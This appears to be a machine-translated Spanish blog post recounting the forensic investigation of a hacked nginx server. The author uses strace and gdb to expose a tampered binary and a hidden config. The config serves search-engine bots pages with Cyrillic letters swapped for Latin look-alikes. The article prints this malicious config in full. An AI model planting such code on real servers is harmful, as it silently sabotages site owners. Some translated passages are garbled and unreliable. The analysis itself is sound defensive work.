Cuando 'a' no es igual a 'a'. A raíz de un hack

A uno de mis amigos le ocurrió una historia muy desagradable. Pero por muy desagradable que resultara para Mikhail, fue igualmente entretenido para mí.

Debo decir que mi amigo es bastante UNIX-usuario: puede instalar el sistema él mismo mysql, php y hacer ajustes simples nginx.
Y tiene una docena o una página y media dedicadas a herramientas de construcción.

Uno de estos sitios dedicados a las motosierras se sitúa firmemente en el TOP de los motores de búsqueda. Este sitio es un crítico no comercial, pero alguien adquirió la costumbre de atacarlo. Eso DDoS, luego fuerza bruta, luego escriben comentarios obscenos y envían abusos al hosting y al RKN.
De repente, todo se calmó y esta calma resultó no ser buena, y el sitio comenzó a salir gradualmente de las primeras líneas de los resultados de búsqueda.

Cuando 'a' no es igual a 'a'. A raíz de un hack

Eso fue un dicho, luego la historia misma del administrador.

Se acercaba la hora de dormir cuando sonó el teléfono: “San, ¿no miras a mi servidor? Me parece que me han hackeado, no puedo demostrarlo, pero la sensación no me ha abandonado ya por tercera semana. ¿Quizás es hora de que reciba tratamiento para la paranoia?

Lo que siguió fue una discusión de media hora que se puede resumir de la siguiente manera:

  • el suelo para cortar era bastante fértil;
  • un atacante podría obtener derechos de superusuario;
  • el ataque (si tuvo lugar) estuvo dirigido específicamente a este sitio;
  • las áreas problemáticas se han corregido y solo es necesario comprender si hubo alguna penetración;
  • El truco no pudo afectar el código del sitio ni las bases de datos.

Respecto al último punto.

Cuando 'a' no es igual a 'a'. A raíz de un hack

Sólo la IP frontal blanca mira hacia el mundo. No hay intercambio entre el backend y el frontend excepto http(s), los usuarios/contraseñas son diferentes, no se intercambiaron claves. En las direcciones grises, todos los puertos excepto el 80/443 están cerrados. Las IP de backend blancas son conocidas solo por dos usuarios, en quienes Mikhail confía completamente.

Instalado en la interfaz Debian 9 y en el momento en que se realiza la llamada, el sistema queda aislado del mundo mediante un firewall externo y se detiene.

“Está bien, dame acceso”, decido posponer el sueño durante una hora. “Lo veré con mis propios ojos”.

Aquí y más:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Buscando un posible hack

Inicio el servidor, primero en el modo de rescate. Monto los discos y los hojeo. aut-registros, historia, registros del sistema, etc., si es posible, verifico las fechas de creación del archivo, aunque entiendo que un cracker normal se habría "barrido" detrás de sí mismo, y Misha ya había "pisoteado" mucho mientras se buscaba. .

Empiezo en modo normal, sin entender todavía qué buscar, estudio las configuraciones. Primero que nada, estoy interesado en nginx ya que, en general, no hay nada más en el frontend excepto eso.
Las configuraciones son pequeñas, están bien estructuradas en una docena de archivos, solo las reviso. gato'Ah, uno por uno. Todo parece estar limpio, pero nunca se sabe si me perdí algo. incluir, déjame hacer una lista completa:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

No entendí: "¿Dónde está el listado?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Se agrega una segunda pregunta a la pregunta de la lista: "¿Por qué una versión tan antigua de nginx?"

Además, el sistema cree que está instalada la última versión:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Estoy llamando:
- Misha, ¿por qué te volviste a montar? nginx?
- ¡Despierta, ni siquiera sé cómo hacer esto!
- Vale, bueno, vete a dormir...

Nginx está claramente reconstruido y la salida del listado usando "-T" está oculta por una razón. Ya no hay dudas sobre la piratería y simplemente puede aceptarlo y (dado que Misha reemplazó el servidor por uno nuevo) considerar el problema resuelto.

Y de hecho, desde que alguien obtuvo los derechos raíz'ah, entonces sólo tiene sentido hacer reinstalar el sistema, y era inútil buscar qué pasaba allí, pero esta vez la curiosidad venció al sueño. ¿Cómo podemos saber qué querían ocultarnos?

Intentemos rastrear:

$ strace nginx -T

Lo miramos, claramente no hay suficientes líneas en el trazo a la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Solo por diversión, comparemos los hallazgos.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Creo que es parte del código. /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

fue llevado a la forma:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

o

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

por lo tanto, no se muestra el listado por "-T".

Pero, ¿cómo podemos ver nuestra configuración?

Si mi pensamiento es correcto y el problema solo está en la variable ngx_dump_config intentemos instalarlo usando gdb, afortunadamente hay una clave --con-cc-opt -g presente y espero que la optimización -O2 no nos hará daño. Al mismo tiempo, como no sé cómo ngx_dump_config podría ser procesado en caso 'T':, no llamaremos a este bloque, sino que lo instalaremos usando caso 't':

Por qué puedes usar '-t' además de '-T'Procesamiento de bloques si(ngx_dump_config) sucede dentro si(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Por supuesto, si el código se cambia en esta parte y no en caso 'T':, entonces mi método no funcionará.

Prueba nginx.confYa solucionado el problema de forma experimental, se estableció que se requiere una configuración mínima para que el malware funcione nginx escribe:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Lo usaremos por brevedad en el artículo.

Inicie el depurador

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

En pasos:

  • establecer un punto de interrupción en la función principal()
  • lanzar el programa
  • cambiar el valor de la variable que determina la salida de la configuración ngx_dump_config=1
  • continuar/finalizar el programa

Como podemos ver, la configuración real difiere de la nuestra, seleccionamos una pieza parásita de ella:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Echemos un vistazo a lo que está sucediendo aquí en orden.

Están determinadas User-AgentYandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Las páginas de servicio están excluidas. wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Y para aquellos que se encuentran en las dos condiciones anteriores.

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

en el texto html-cambio de paginas 'Oh' en 'O' и 'A' en 'un':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Así es, la única sutileza es que 'un' != 'un' así como 'o' != 'o':

Cuando 'a' no es igual a 'a'. A raíz de un hack

Así, los robots de los motores de búsqueda reciben, en lugar del texto normal 100% cirílico, basura modificada diluida en latín. 'un' и 'O'. No me atrevo a discutir cómo afecta esto al SEO, pero es poco probable que tal confusión de letras tenga un impacto positivo en las posiciones en los resultados de búsqueda.

Qué puedo decir, chicos con imaginación.

referencias

Depuración con GDB
gdb(1) — Página de manual de Linux
strace(1) — Página de manual de Linux
Nginx - Módulo ngx_http_sub_module
Sobre sierras, motosierras y sierras eléctricas.

Fuente: habr.com

Añadir un comentario